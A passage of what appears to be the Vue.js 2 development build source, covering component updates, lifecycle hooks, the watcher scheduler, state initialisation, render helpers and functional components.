true;\n    }\n\n    // determine whether component has slot children\n    // we need to do this before overwriting $options._renderChildren\n    var hasChildren = !!(\n      renderChildren ||               // has new static slots\n      vm.$options._renderChildren ||  // has old static slots\n      parentVnode.data.scopedSlots || // has new scoped slots\n      vm.$scopedSlots !== emptyObject // has old scoped slots\n    );\n\n    vm.$options._parentVnode = parentVnode;\n    vm.$vnode = parentVnode; // update vm's placeholder node without re-render\n\n    if (vm._vnode) { // update child tree's parent\n      vm._vnode.parent = parentVnode;\n    }\n    vm.$options._renderChildren = renderChildren;\n\n    // update $attrs and $listeners hash\n    // these are also reactive so they may trigger child update if the child\n    // used them during render\n    vm.$attrs = parentVnode.data.attrs || emptyObject;\n    vm.$listeners = listeners || emptyObject;\n\n    // update props\n    if (propsData && vm.$options.props) {\n      toggleObserving(false);\n      var props = vm._props;\n      var propKeys = vm.$options._propKeys || [];\n      for (var i = 0; i < propKeys.length; i++) {\n        var key = propKeys[i];\n        var propOptions = vm.$options.props; // wtf flow?\n        props[key] = validateProp(key, propOptions, propsData, vm);\n      }\n      toggleObserving(true);\n      // keep a copy of raw propsData\n      vm.$options.propsData = propsData;\n    }\n\n    // update listeners\n    listeners = listeners || emptyObject;\n    var oldListeners = vm.$options._parentListeners;\n    vm.$options._parentListeners = listeners;\n    updateComponentListeners(vm, listeners, oldListeners);\n\n    // resolve slots + force update if has children\n    if (hasChildren) {\n      vm.$slots = resolveSlots(renderChildren, parentVnode.context);\n      vm.$forceUpdate();\n    }\n\n    {\n      isUpdatingChildComponent = false;\n    }\n  }\n\n  function isInInactiveTree (vm) {\n    while (vm && (vm = vm.$parent)) {\n      if (vm._inactive) { return true }\n    }\n    return false\n  }\n\n  function activateChildComponent (vm, direct) {\n    if (direct) {\n      vm._directInactive = false;\n      if (isInInactiveTree(vm)) {\n        return\n      }\n    } else if (vm._directInactive) {\n      return\n    }\n    if (vm._inactive || vm._inactive === null) {\n      vm._inactive = false;\n      for (var i = 0; i < vm.$children.length; i++) {\n        activateChildComponent(vm.$children[i]);\n      }\n      callHook(vm, 'activated');\n    }\n  }\n\n  function deactivateChildComponent (vm, direct) {\n    if (direct) {\n      vm._directInactive = true;\n      if (isInInactiveTree(vm)) {\n        return\n      }\n    }\n    if (!vm._inactive) {\n      vm._inactive = true;\n      for (var i = 0; i < vm.$children.length; i++) {\n        deactivateChildComponent(vm.$children[i]);\n      }\n      callHook(vm, 'deactivated');\n    }\n  }\n\n  function callHook (vm, hook) {\n    // #7573 disable dep collection when invoking lifecycle hooks\n    pushTarget();\n    var handlers = vm.$options[hook];\n    if (handlers) {\n      for (var i = 0, j = handlers.length; i < j; i++) {\n        try {\n          handlers[i].call(vm);\n        } catch (e) {\n          handleError(e, vm, (hook + \" hook\"));\n        }\n      }\n    }\n    if (vm._hasHookEvent) {\n      vm.$emit('hook:' + hook);\n    }\n    popTarget();\n  }\n\n  /*  */\n\n  var MAX_UPDATE_COUNT = 100;\n\n  var queue = [];\n  var activatedChildren = [];\n  var has = {};\n  var circular = {};\n  var waiting = false;\n  var flushing = false;\n  var index = 0;\n\n  /**\n   * Reset the scheduler's state.\n   */\n  function resetSchedulerState () {\n    index = queue.length = activatedChildren.length = 0;\n    has = {};\n    {\n      circular = {};\n    }\n    waiting = flushing = false;\n  }\n\n  /**\n   * Flush both queues and run the watchers.\n   */\n  function flushSchedulerQueue () {\n    flushing = true;\n    var watcher, id;\n\n    // Sort queue before flush.\n    // This ensures that:\n    // 1. Components are updated from parent to child. (because parent is always\n    //    created before the child)\n    // 2. A component's user watchers are run before its render watcher (because\n    //    user watchers are created before the render watcher)\n    // 3. If a component is destroyed during a parent component's watcher run,\n    //    its watchers can be skipped.\n    queue.sort(function (a, b) { return a.id - b.id; });\n\n    // do not cache length because more watchers might be pushed\n    // as we run existing watchers\n    for (index = 0; index < queue.length; index++) {\n      watcher = queue[index];\n      if (watcher.before) {\n        watcher.before();\n      }\n      id = watcher.id;\n      has[id] = null;\n      watcher.run();\n      // in dev build, check and stop circular updates.\n      if (has[id] != null) {\n        circular[id] = (circular[id] || 0) + 1;\n        if (circular[id] > MAX_UPDATE_COUNT) {\n          warn(\n            'You may have an infinite update loop ' + (\n              watcher.user\n                ? (\"in watcher with expression \\\"\" + (watcher.expression) + \"\\\"\")\n                : \"in a component render function.\"\n            ),\n            watcher.vm\n          );\n          break\n        }\n      }\n    }\n\n    // keep copies of post queues before resetting state\n    var activatedQueue = activatedChildren.slice();\n    var updatedQueue = queue.slice();\n\n    resetSchedulerState();\n\n    // call component updated and activated hooks\n    callActivatedHooks(activatedQueue);\n    callUpdatedHooks(updatedQueue);\n\n    // devtool hook\n    /* istanbul ignore if */\n    if (devtools && config.devtools) {\n      devtools.emit('flush');\n    }\n  }\n\n  function callUpdatedHooks (queue) {\n    var i = queue.length;\n    while (i--) {\n      var watcher = queue[i];\n      var vm = watcher.vm;\n      if (vm._watcher === watcher && vm._isMounted && !vm._isDestroyed) {\n        callHook(vm, 'updated');\n      }\n    }\n  }\n\n  /**\n   * Queue a kept-alive component that was activated during patch.\n   * The queue will be processed after the entire tree has been patched.\n   */\n  function queueActivatedComponent (vm) {\n    // setting _inactive to false here so that a render function can\n    // rely on checking whether it's in an inactive tree (e.g. router-view)\n    vm._inactive = false;\n    activatedChildren.push(vm);\n  }\n\n  function callActivatedHooks (queue) {\n    for (var i = 0; i < queue.length; i++) {\n      queue[i]._inactive = true;\n      activateChildComponent(queue[i], true /* true */);\n    }\n  }\n\n  /**\n   * Push a watcher into the watcher queue.\n   * Jobs with duplicate IDs will be skipped unless it's\n   * pushed when the queue is being flushed.\n   */\n  function queueWatcher (watcher) {\n    var id = watcher.id;\n    if (has[id] == null) {\n      has[id] = true;\n      if (!flushing) {\n        queue.push(watcher);\n      } else {\n        // if already flushing, splice the watcher based on its id\n        // if already past its id, it will be run next immediately.\n        var i = queue.length - 1;\n        while (i > index && queue[i].id > watcher.id) {\n          i--;\n        }\n        queue.splice(i + 1, 0, watcher);\n      }\n      // queue the flush\n      if (!waiting) {\n        waiting = true;\n\n        if (!config.async) {\n          flushSchedulerQueue();\n          return\n        }\n        nextTick(flushSchedulerQueue);\n      }\n    }\n  }\n\n  /*  */\n\n\n\n  var uid$1 = 0;\n\n  /**\n   * A watcher parses an expression, collects dependencies,\n   * and fires callback when the expression value changes.\n   * This is used for both the $watch() api and directives.\n   */\n  var Watcher = function Watcher (\n    vm,\n    expOrFn,\n    cb,\n    options,\n    isRenderWatcher\n  ) {\n    this.vm = vm;\n    if (isRenderWatcher) {\n      vm._watcher = this;\n    }\n    vm._watchers.push(this);\n    // options\n    if (options) {\n      this.deep = !!options.deep;\n      this.user = !!options.user;\n      this.lazy = !!options.lazy;\n      this.sync = !!options.sync;\n      this.before = options.before;\n    } else {\n      this.deep = this.user = this.lazy = this.sync = false;\n    }\n    this.cb = cb;\n    this.id = ++uid$1; // uid for batching\n    this.active = true;\n    this.dirty = this.lazy; // for lazy watchers\n    this.deps = [];\n    this.newDeps = [];\n    this.depIds = new _Set();\n    this.newDepIds = new _Set();\n    this.expression = expOrFn.toString();\n    // parse expression for getter\n    if (typeof expOrFn === 'function') {\n      this.getter = expOrFn;\n    } else {\n      this.getter = parsePath(expOrFn);\n      if (!this.getter) {\n        this.getter = noop;\n        warn(\n          \"Failed watching path: \\\"\" + expOrFn + \"\\\" \" +\n          'Watcher only accepts simple dot-delimited paths. ' +\n          'For full control, use a function instead.',\n          vm\n        );\n      }\n    }\n    this.value = this.lazy\n      ? undefined\n      : this.get();\n  };\n\n  /**\n   * Evaluate the getter, and re-collect dependencies.\n   */\n  Watcher.prototype.get = function get () {\n    pushTarget(this);\n    var value;\n    var vm = this.vm;\n    try {\n      value = this.getter.call(vm, vm);\n    } catch (e) {\n      if (this.user) {\n        handleError(e, vm, (\"getter for watcher \\\"\" + (this.expression) + \"\\\"\"));\n      } else {\n        throw e\n      }\n    } finally {\n      // \"touch\" every property so they are all tracked as\n      // dependencies for deep watching\n      if (this.deep) {\n        traverse(value);\n      }\n      popTarget();\n      this.cleanupDeps();\n    }\n    return value\n  };\n\n  /**\n   * Add a dependency to this directive.\n   */\n  Watcher.prototype.addDep = function addDep (dep) {\n    var id = dep.id;\n    if (!this.newDepIds.has(id)) {\n      this.newDepIds.add(id);\n      this.newDeps.push(dep);\n      if (!this.depIds.has(id)) {\n        dep.addSub(this);\n      }\n    }\n  };\n\n  /**\n   * Clean up for dependency collection.\n   */\n  Watcher.prototype.cleanupDeps = function cleanupDeps () {\n    var i = this.deps.length;\n    while (i--) {\n      var dep = this.deps[i];\n      if (!this.newDepIds.has(dep.id)) {\n        dep.removeSub(this);\n      }\n    }\n    var tmp = this.depIds;\n    this.depIds = this.newDepIds;\n    this.newDepIds = tmp;\n    this.newDepIds.clear();\n    tmp = this.deps;\n    this.deps = this.newDeps;\n    this.newDeps = tmp;\n    this.newDeps.length = 0;\n  };\n\n  /**\n   * Subscriber interface.\n   * Will be called when a dependency changes.\n   */\n  Watcher.prototype.update = function update () {\n    /* istanbul ignore else */\n    if (this.lazy) {\n      this.dirty = true;\n    } else if (this.sync) {\n      this.run();\n    } else {\n      queueWatcher(this);\n    }\n  };\n\n  /**\n   * Scheduler job interface.\n   * Will be called by the scheduler.\n   */\n  Watcher.prototype.run = function run () {\n    if (this.active) {\n      var value = this.get();\n      if (\n        value !== this.value ||\n        // Deep watchers and watchers on Object/Arrays should fire even\n        // when the value is the same, because the value may\n        // have mutated.\n        isObject(value) ||\n        this.deep\n      ) {\n        // set new value\n        var oldValue = this.value;\n        this.value = value;\n        if (this.user) {\n          try {\n            this.cb.call(this.vm, value, oldValue);\n          } catch (e) {\n            handleError(e, this.vm, (\"callback for watcher \\\"\" + (this.expression) + \"\\\"\"));\n          }\n        } else {\n          this.cb.call(this.vm, value, oldValue);\n        }\n      }\n    }\n  };\n\n  /**\n   * Evaluate the value of the watcher.\n   * This only gets called for lazy watchers.\n   */\n  Watcher.prototype.evaluate = function evaluate () {\n    this.value = this.get();\n    this.dirty = false;\n  };\n\n  /**\n   * Depend on all deps collected by this watcher.\n   */\n  Watcher.prototype.depend = function depend () {\n    var i = this.deps.length;\n    while (i--) {\n      this.deps[i].depend();\n    }\n  };\n\n  /**\n   * Remove self from all dependencies' subscriber list.\n   */\n  Watcher.prototype.teardown = function teardown () {\n    if (this.active) {\n      // remove self from vm's watcher list\n      // this is a somewhat expensive operation so we skip it\n      // if the vm is being destroyed.\n      if (!this.vm._isBeingDestroyed) {\n        remove(this.vm._watchers, this);\n      }\n      var i = this.deps.length;\n      while (i--) {\n        this.deps[i].removeSub(this);\n      }\n      this.active = false;\n    }\n  };\n\n  /*  */\n\n  var sharedPropertyDefinition = {\n    enumerable: true,\n    configurable: true,\n    get: noop,\n    set: noop\n  };\n\n  function proxy (target, sourceKey, key) {\n    sharedPropertyDefinition.get = function proxyGetter () {\n      return this[sourceKey][key]\n    };\n    sharedPropertyDefinition.set = function proxySetter (val) {\n      this[sourceKey][key] = val;\n    };\n    Object.defineProperty(target, key, sharedPropertyDefinition);\n  }\n\n  function initState (vm) {\n    vm._watchers = [];\n    var opts = vm.$options;\n    if (opts.props) { initProps(vm, opts.props); }\n    if (opts.methods) { initMethods(vm, opts.methods); }\n    if (opts.data) {\n      initData(vm);\n    } else {\n      observe(vm._data = {}, true /* asRootData */);\n    }\n    if (opts.computed) { initComputed(vm, opts.computed); }\n    if (opts.watch && opts.watch !== nativeWatch) {\n      initWatch(vm, opts.watch);\n    }\n  }\n\n  function initProps (vm, propsOptions) {\n    var propsData = vm.$options.propsData || {};\n    var props = vm._props = {};\n    // cache prop keys so that future props updates can iterate using Array\n    // instead of dynamic object key enumeration.\n    var keys = vm.$options._propKeys = [];\n    var isRoot = !vm.$parent;\n    // root instance props should be converted\n    if (!isRoot) {\n      toggleObserving(false);\n    }\n    var loop = function ( key ) {\n      keys.push(key);\n      var value = validateProp(key, propsOptions, propsData, vm);\n      /* istanbul ignore else */\n      {\n        var hyphenatedKey = hyphenate(key);\n        if (isReservedAttribute(hyphenatedKey) ||\n            config.isReservedAttr(hyphenatedKey)) {\n          warn(\n            (\"\\\"\" + hyphenatedKey + \"\\\" is a reserved attribute and cannot be used as component prop.\"),\n            vm\n          );\n        }\n        defineReactive$$1(props, key, value, function () {\n          if (!isRoot && !isUpdatingChildComponent) {\n            warn(\n              \"Avoid mutating a prop directly since the value will be \" +\n              \"overwritten whenever the parent component re-renders. \" +\n              \"Instead, use a data or computed property based on the prop's \" +\n              \"value. Prop being mutated: \\\"\" + key + \"\\\"\",\n              vm\n            );\n          }\n        });\n      }\n      // static props are already proxied on the component's prototype\n      // during Vue.extend(). We only need to proxy props defined at\n      // instantiation here.\n      if (!(key in vm)) {\n        proxy(vm, \"_props\", key);\n      }\n    };\n\n    for (var key in propsOptions) loop( key );\n    toggleObserving(true);\n  }\n\n  function initData (vm) {\n    var data = vm.$options.data;\n    data = vm._data = typeof data === 'function'\n      ? getData(data, vm)\n      : data || {};\n    if (!isPlainObject(data)) {\n      data = {};\n      warn(\n        'data functions should return an object:\\n' +\n        'https://vuejs.org/v2/guide/components.html#data-Must-Be-a-Function',\n        vm\n      );\n    }\n    // proxy data on instance\n    var keys = Object.keys(data);\n    var props = vm.$options.props;\n    var methods = vm.$options.methods;\n    var i = keys.length;\n    while (i--) {\n      var key = keys[i];\n      {\n        if (methods && hasOwn(methods, key)) {\n          warn(\n            (\"Method \\\"\" + key + \"\\\" has already been defined as a data property.\"),\n            vm\n          );\n        }\n      }\n      if (props && hasOwn(props, key)) {\n        warn(\n          \"The data property \\\"\" + key + \"\\\" is already declared as a prop. \" +\n          \"Use prop default value instead.\",\n          vm\n        );\n      } else if (!isReserved(key)) {\n        proxy(vm, \"_data\", key);\n      }\n    }\n    // observe data\n    observe(data, true /* asRootData */);\n  }\n\n  function getData (data, vm) {\n    // #7573 disable dep collection when invoking data getters\n    pushTarget();\n    try {\n      return data.call(vm, vm)\n    } catch (e) {\n      handleError(e, vm, \"data()\");\n      return {}\n    } finally {\n      popTarget();\n    }\n  }\n\n  var computedWatcherOptions = { lazy: true };\n\n  function initComputed (vm, computed) {\n    // $flow-disable-line\n    var watchers = vm._computedWatchers = Object.create(null);\n    // computed properties are just getters during SSR\n    var isSSR = isServerRendering();\n\n    for (var key in computed) {\n      var userDef = computed[key];\n      var getter = typeof userDef === 'function' ? userDef : userDef.get;\n      if (getter == null) {\n        warn(\n          (\"Getter is missing for computed property \\\"\" + key + \"\\\".\"),\n          vm\n        );\n      }\n\n      if (!isSSR) {\n        // create internal watcher for the computed property.\n        watchers[key] = new Watcher(\n          vm,\n          getter || noop,\n          noop,\n          computedWatcherOptions\n        );\n      }\n\n      // component-defined computed properties are already defined on the\n      // component prototype. We only need to define computed properties defined\n      // at instantiation here.\n      if (!(key in vm)) {\n        defineComputed(vm, key, userDef);\n      } else {\n        if (key in vm.$data) {\n          warn((\"The computed property \\\"\" + key + \"\\\" is already defined in data.\"), vm);\n        } else if (vm.$options.props && key in vm.$options.props) {\n          warn((\"The computed property \\\"\" + key + \"\\\" is already defined as a prop.\"), vm);\n        }\n      }\n    }\n  }\n\n  function defineComputed (\n    target,\n    key,\n    userDef\n  ) {\n    var shouldCache = !isServerRendering();\n    if (typeof userDef === 'function') {\n      sharedPropertyDefinition.get = shouldCache\n        ? createComputedGetter(key)\n        : createGetterInvoker(userDef);\n      sharedPropertyDefinition.set = noop;\n    } else {\n      sharedPropertyDefinition.get = userDef.get\n        ? shouldCache && userDef.cache !== false\n          ? createComputedGetter(key)\n          : createGetterInvoker(userDef.get)\n        : noop;\n      sharedPropertyDefinition.set = userDef.set || noop;\n    }\n    if (sharedPropertyDefinition.set === noop) {\n      sharedPropertyDefinition.set = function () {\n        warn(\n          (\"Computed property \\\"\" + key + \"\\\" was assigned to but it has no setter.\"),\n          this\n        );\n      };\n    }\n    Object.defineProperty(target, key, sharedPropertyDefinition);\n  }\n\n  function createComputedGetter (key) {\n    return function computedGetter () {\n      var watcher = this._computedWatchers && this._computedWatchers[key];\n      if (watcher) {\n        if (watcher.dirty) {\n          watcher.evaluate();\n        }\n        if (Dep.target) {\n          watcher.depend();\n        }\n        return watcher.value\n      }\n    }\n  }\n\n  function createGetterInvoker(fn) {\n    return function computedGetter () {\n      return fn.call(this, this)\n    }\n  }\n\n  function initMethods (vm, methods) {\n    var props = vm.$options.props;\n    for (var key in methods) {\n      {\n        if (typeof methods[key] !== 'function') {\n          warn(\n            \"Method \\\"\" + key + \"\\\" has type \\\"\" + (typeof methods[key]) + \"\\\" in the component definition. \" +\n            \"Did you reference the function correctly?\",\n            vm\n          );\n        }\n        if (props && hasOwn(props, key)) {\n          warn(\n            (\"Method \\\"\" + key + \"\\\" has already been defined as a prop.\"),\n            vm\n          );\n        }\n        if ((key in vm) && isReserved(key)) {\n          warn(\n            \"Method \\\"\" + key + \"\\\" conflicts with an existing Vue instance method. \" +\n            \"Avoid defining component methods that start with _ or $.\"\n          );\n        }\n      }\n      vm[key] = typeof methods[key] !== 'function' ? noop : bind(methods[key], vm);\n    }\n  }\n\n  function initWatch (vm, watch) {\n    for (var key in watch) {\n      var handler = watch[key];\n      if (Array.isArray(handler)) {\n        for (var i = 0; i < handler.length; i++) {\n          createWatcher(vm, key, handler[i]);\n        }\n      } else {\n        createWatcher(vm, key, handler);\n      }\n    }\n  }\n\n  function createWatcher (\n    vm,\n    expOrFn,\n    handler,\n    options\n  ) {\n    if (isPlainObject(handler)) {\n      options = handler;\n      handler = handler.handler;\n    }\n    if (typeof handler === 'string') {\n      handler = vm[handler];\n    }\n    return vm.$watch(expOrFn, handler, options)\n  }\n\n  function stateMixin (Vue) {\n    // flow somehow has problems with directly declared definition object\n    // when using Object.defineProperty, so we have to procedurally build up\n    // the object here.\n    var dataDef = {};\n    dataDef.get = function () { return this._data };\n    var propsDef = {};\n    propsDef.get = function () { return this._props };\n    {\n      dataDef.set = function () {\n        warn(\n          'Avoid replacing instance root $data. ' +\n          'Use nested data properties instead.',\n          this\n        );\n      };\n      propsDef.set = function () {\n        warn(\"$props is readonly.\", this);\n      };\n    }\n    Object.defineProperty(Vue.prototype, '$data', dataDef);\n    Object.defineProperty(Vue.prototype, '$props', propsDef);\n\n    Vue.prototype.$set = set;\n    Vue.prototype.$delete = del;\n\n    Vue.prototype.$watch = function (\n      expOrFn,\n      cb,\n      options\n    ) {\n      var vm = this;\n      if (isPlainObject(cb)) {\n        return createWatcher(vm, expOrFn, cb, options)\n      }\n      options = options || {};\n      options.user = true;\n      var watcher = new Watcher(vm, expOrFn, cb, options);\n      if (options.immediate) {\n        try {\n          cb.call(vm, watcher.value);\n        } catch (error) {\n          handleError(error, vm, (\"callback for immediate watcher \\\"\" + (watcher.expression) + \"\\\"\"));\n        }\n      }\n      return function unwatchFn () {\n        watcher.teardown();\n      }\n    };\n  }\n\n  /*  */\n\n  function initProvide (vm) {\n    var provide = vm.$options.provide;\n    if (provide) {\n      vm._provided = typeof provide === 'function'\n        ? provide.call(vm)\n        : provide;\n    }\n  }\n\n  function initInjections (vm) {\n    var result = resolveInject(vm.$options.inject, vm);\n    if (result) {\n      toggleObserving(false);\n      Object.keys(result).forEach(function (key) {\n        /* istanbul ignore else */\n        {\n          defineReactive$$1(vm, key, result[key], function () {\n            warn(\n              \"Avoid mutating an injected value directly since the changes will be \" +\n              \"overwritten whenever the provided component re-renders. \" +\n              \"injection being mutated: \\\"\" + key + \"\\\"\",\n              vm\n            );\n          });\n        }\n      });\n      toggleObserving(true);\n    }\n  }\n\n  function resolveInject (inject, vm) {\n    if (inject) {\n      // inject is :any because flow is not smart enough to figure out cached\n      var result = Object.create(null);\n      var keys = hasSymbol\n        ? Reflect.ownKeys(inject).filter(function (key) {\n          /* istanbul ignore next */\n          return Object.getOwnPropertyDescriptor(inject, key).enumerable\n        })\n        : Object.keys(inject);\n\n      for (var i = 0; i < keys.length; i++) {\n        var key = keys[i];\n        var provideKey = inject[key].from;\n        var source = vm;\n        while (source) {\n          if (source._provided && hasOwn(source._provided, provideKey)) {\n            result[key] = source._provided[provideKey];\n            break\n          }\n          source = source.$parent;\n        }\n        if (!source) {\n          if ('default' in inject[key]) {\n            var provideDefault = inject[key].default;\n            result[key] = typeof provideDefault === 'function'\n              ? provideDefault.call(vm)\n              : provideDefault;\n          } else {\n            warn((\"Injection \\\"\" + key + \"\\\" not found\"), vm);\n          }\n        }\n      }\n      return result\n    }\n  }\n\n  /*  */\n\n  /**\n   * Runtime helper for rendering v-for lists.\n   */\n  function renderList (\n    val,\n    render\n  ) {\n    var ret, i, l, keys, key;\n    if (Array.isArray(val) || typeof val === 'string') {\n      ret = new Array(val.length);\n      for (i = 0, l = val.length; i < l; i++) {\n        ret[i] = render(val[i], i);\n      }\n    } else if (typeof val === 'number') {\n      ret = new Array(val);\n      for (i = 0; i < val; i++) {\n        ret[i] = render(i + 1, i);\n      }\n    } else if (isObject(val)) {\n      keys = Object.keys(val);\n      ret = new Array(keys.length);\n      for (i = 0, l = keys.length; i < l; i++) {\n        key = keys[i];\n        ret[i] = render(val[key], key, i);\n      }\n    }\n    if (!isDef(ret)) {\n      ret = [];\n    }\n    (ret)._isVList = true;\n    return ret\n  }\n\n  /*  */\n\n  /**\n   * Runtime helper for rendering <slot>\n   */\n  function renderSlot (\n    name,\n    fallback,\n    props,\n    bindObject\n  ) {\n    var scopedSlotFn = this.$scopedSlots[name];\n    var nodes;\n    if (scopedSlotFn) { // scoped slot\n      props = props || {};\n      if (bindObject) {\n        if (!isObject(bindObject)) {\n          warn(\n            'slot v-bind without argument expects an Object',\n            this\n          );\n        }\n        props = extend(extend({}, bindObject), props);\n      }\n      nodes = scopedSlotFn(props) || fallback;\n    } else {\n      nodes = this.$slots[name] || fallback;\n    }\n\n    var target = props && props.slot;\n    if (target) {\n      return this.$createElement('template', { slot: target }, nodes)\n    } else {\n      return nodes\n    }\n  }\n\n  /*  */\n\n  /**\n   * Runtime helper for resolving filters\n   */\n  function resolveFilter (id) {\n    return resolveAsset(this.$options, 'filters', id, true) || identity\n  }\n\n  /*  */\n\n  function isKeyNotMatch (expect, actual) {\n    if (Array.isArray(expect)) {\n      return expect.indexOf(actual) === -1\n    } else {\n      return expect !== actual\n    }\n  }\n\n  /**\n   * Runtime helper for checking keyCodes from config.\n   * exposed as Vue.prototype._k\n   * passing in eventKeyName as last argument separately for backwards compat\n   */\n  function checkKeyCodes (\n    eventKeyCode,\n    key,\n    builtInKeyCode,\n    eventKeyName,\n    builtInKeyName\n  ) {\n    var mappedKeyCode = config.keyCodes[key] || builtInKeyCode;\n    if (builtInKeyName && eventKeyName && !config.keyCodes[key]) {\n      return isKeyNotMatch(builtInKeyName, eventKeyName)\n    } else if (mappedKeyCode) {\n      return isKeyNotMatch(mappedKeyCode, eventKeyCode)\n    } else if (eventKeyName) {\n      return hyphenate(eventKeyName) !== key\n    }\n  }\n\n  /*  */\n\n  /**\n   * Runtime helper for merging v-bind=\"object\" into a VNode's data.\n   */\n  function bindObjectProps (\n    data,\n    tag,\n    value,\n    asProp,\n    isSync\n  ) {\n    if (value) {\n      if (!isObject(value)) {\n        warn(\n          'v-bind without argument expects an Object or Array value',\n          this\n        );\n      } else {\n        if (Array.isArray(value)) {\n          value = toObject(value);\n        }\n        var hash;\n        var loop = function ( key ) {\n          if (\n            key === 'class' ||\n            key === 'style' ||\n            isReservedAttribute(key)\n          ) {\n            hash = data;\n          } else {\n            var type = data.attrs && data.attrs.type;\n            hash = asProp || config.mustUseProp(tag, type, key)\n              ? data.domProps || (data.domProps = {})\n              : data.attrs || (data.attrs = {});\n          }\n          var camelizedKey = camelize(key);\n          if (!(key in hash) && !(camelizedKey in hash)) {\n            hash[key] = value[key];\n\n            if (isSync) {\n              var on = data.on || (data.on = {});\n              on[(\"update:\" + camelizedKey)] = function ($event) {\n                value[key] = $event;\n              };\n            }\n          }\n        };\n\n        for (var key in value) loop( key );\n      }\n    }\n    return data\n  }\n\n  /*  */\n\n  /**\n   * Runtime helper for rendering static trees.\n   */\n  function renderStatic (\n    index,\n    isInFor\n  ) {\n    var cached = this._staticTrees || (this._staticTrees = []);\n    var tree = cached[index];\n    // if has already-rendered static tree and not inside v-for,\n    // we can reuse the same tree.\n    if (tree && !isInFor) {\n      return tree\n    }\n    // otherwise, render a fresh tree.\n    tree = cached[index] = this.$options.staticRenderFns[index].call(\n      this._renderProxy,\n      null,\n      this // for render fns generated for functional component templates\n    );\n    markStatic(tree, (\"__static__\" + index), false);\n    return tree\n  }\n\n  /**\n   * Runtime helper for v-once.\n   * Effectively it means marking the node as static with a unique key.\n   */\n  function markOnce (\n    tree,\n    index,\n    key\n  ) {\n    markStatic(tree, (\"__once__\" + index + (key ? (\"_\" + key) : \"\")), true);\n    return tree\n  }\n\n  function markStatic (\n    tree,\n    key,\n    isOnce\n  ) {\n    if (Array.isArray(tree)) {\n      for (var i = 0; i < tree.length; i++) {\n        if (tree[i] && typeof tree[i] !== 'string') {\n          markStaticNode(tree[i], (key + \"_\" + i), isOnce);\n        }\n      }\n    } else {\n      markStaticNode(tree, key, isOnce);\n    }\n  }\n\n  function markStaticNode (node, key, isOnce) {\n    node.isStatic = true;\n    node.key = key;\n    node.isOnce = isOnce;\n  }\n\n  /*  */\n\n  function bindObjectListeners (data, value) {\n    if (value) {\n      if (!isPlainObject(value)) {\n        warn(\n          'v-on without argument expects an Object value',\n          this\n        );\n      } else {\n        var on = data.on = data.on ? extend({}, data.on) : {};\n        for (var key in value) {\n          var existing = on[key];\n          var ours = value[key];\n          on[key] = existing ? [].concat(existing, ours) : ours;\n        }\n      }\n    }\n    return data\n  }\n\n  /*  */\n\n  function installRenderHelpers (target) {\n    target._o = markOnce;\n    target._n = toNumber;\n    target._s = toString;\n    target._l = renderList;\n    target._t = renderSlot;\n    target._q = looseEqual;\n    target._i = looseIndexOf;\n    target._m = renderStatic;\n    target._f = resolveFilter;\n    target._k = checkKeyCodes;\n    target._b = bindObjectProps;\n    target._v = createTextVNode;\n    target._e = createEmptyVNode;\n    target._u = resolveScopedSlots;\n    target._g = bindObjectListeners;\n  }\n\n  /*  */\n\n  function FunctionalRenderContext (\n    data,\n    props,\n    children,\n    parent,\n    Ctor\n  ) {\n    var options = Ctor.options;\n    // ensure the createElement function in functional components\n    // gets a unique context - this is necessary for correct named slot check\n    var contextVm;\n    if (hasOwn(parent, '_uid')) {\n      contextVm = Object.create(parent);\n      // $flow-disable-line\n      contextVm._original = parent;\n    } else {\n      // the context vm passed in is a functional context as well.\n      // in this case we want to make sure we are able to get a hold to the\n      // real context instance.\n      contextVm = parent;\n      // $flow-disable-line\n      parent = parent._original;\n    }\n    var isCompiled = isTrue(options._compiled);\n    var needNormalization = !isCompiled;\n\n    this.data = data;\n    this.props = props;\n    this.children = children;\n    this.parent = parent;\n    this.listeners = data.on || emptyObject;\n    this.injections = resolveInject(options.inject, parent);\n    this.slots = function () { return resolveSlots(children, parent); };\n\n    // support for compiled functional template\n    if (isCompiled) {\n      // exposing $options for renderStatic()\n      this.$options = options;\n      // pre-resolve slots for renderSlot()\n      this.$slots = this.slots();\n      this.$scopedSlots = data.scopedSlots || emptyObject;\n    }\n\n    if (options._scopeId) {\n      this._c = function (a, b, c, d) {\n        var vnode = createElement(contextVm, a, b, c, d, needNormalization);\n        if (vnode && !Array.isArray(vnode)) {\n          vnode.fnScopeId = options._scopeId;\n          vnode.fnContext = parent;\n        }\n        return vnode\n      };\n    } else {\n      this._c = function (a, b, c, d) { return createElement(contextVm, a, b, c, d, needNormalization); };\n    }\n  }\n\n  installRenderHelpers(FunctionalRenderContext.prototype);\n\n  function createFunctionalComponent (\n    Ctor,\n    propsData,\n    data,\n    contextVm,\n    children\n  ) {\n    var options = Ctor.options;\n    var props = {};\n    var propOptions = options.props;\n    if (isDef(propOptions)) {\n      for (var key in propOptions) {\n        props[key] = validateProp(key, propOptions, propsData || emptyObject);\n      }\n    } else {\n      if (isDef(data.attrs)) { mergeProps(props, data.attrs); }\n      if (isDef(data.props)) { mergeProps(props, data.props); }\n    }\n\n    var renderContext = new FunctionalRenderContext(\n      data,\n      props,\n      children,\n      contextVm,\n      Ctor\n    );\n\n    var vnode = options.render.call(null, renderContext._c, renderContext);\n\n    if (vnode instanceof VNode) {\n      return cloneAndMarkFunctionalResult(vnode, data, renderContext.parent, options, renderContext)\n    } else if (Array.isArray(vnode)) {\n      var vnodes = normalizeChildren(vnode) || [];\n      var res = new Array(vnodes.length);\n      for (var i = 0; i < vnodes.length; i++) {\n        res[i] = cloneAndMarkFunctionalResult(vnodes[i], data, renderContext.parent, options, renderContext);\n      }\n      return res\n    }\n  }\n\n  function cloneAndMarkFunctionalResult (vnode, data, contextVm, options, renderContext) {\n    // #7817 clone node before setting fnContext, otherwise if the node is reused\n    // (e.g. it was from a cached normal slot) the fnContext causes named slots\n    // that should not be matched to match.\n    var clone = cloneVNode(vnode);\n    clone.fnContext = contextVm;\n    clone.fnOptions = options;\n    {\n      (clone.devtoolsMeta = clone.devtoolsMeta || {}).renderContext = renderContext;\n    }\n    if (data.slot) {\n      (clone.data || (clone.data = {})).slot = data.slot;\n    }\n    return clone\n  }\n\n  function mergeProps (to, from) {\n    for (var key in from) {\n      to[camelize(key)] = from[key];\n    }\n  }\n\n  /*  */\n\n  /*  */\n\n  /*  */\n\n  /*  */\n\n  // inline hooks to be invoked on component VNodes during patch\n  var componentVNodeHooks = {\n    init: function init (vnode, hydrating) {\n      if (\n        vnode.componentInstance &&\n        !vnode.componentInstance._isDestroyed &&\n        vnode.data.keepAlive\n      ) {\n        // kept-alive components, treat as a patch\n        var mountedNode = vnode; // work around flow\n        